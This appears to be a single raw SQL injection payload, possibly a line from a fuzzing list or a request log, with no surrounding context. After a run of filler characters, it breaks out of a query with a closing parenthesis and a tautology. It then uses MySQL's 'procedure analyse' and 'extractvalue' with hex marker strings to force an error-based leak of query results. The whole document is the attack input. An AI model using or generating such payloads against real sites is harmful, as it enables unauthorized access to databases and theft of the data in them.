                                   jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj1 )  where 4710 = 4710 procedure analyse ( extractvalue ( 5840,concat ( 0x5c,0x7171706a71, ( select  ( case when  ( 5840 = 5840 )  then 1 else 0 end  )  )  ,0x717a767a71  )  )  ,1 ) --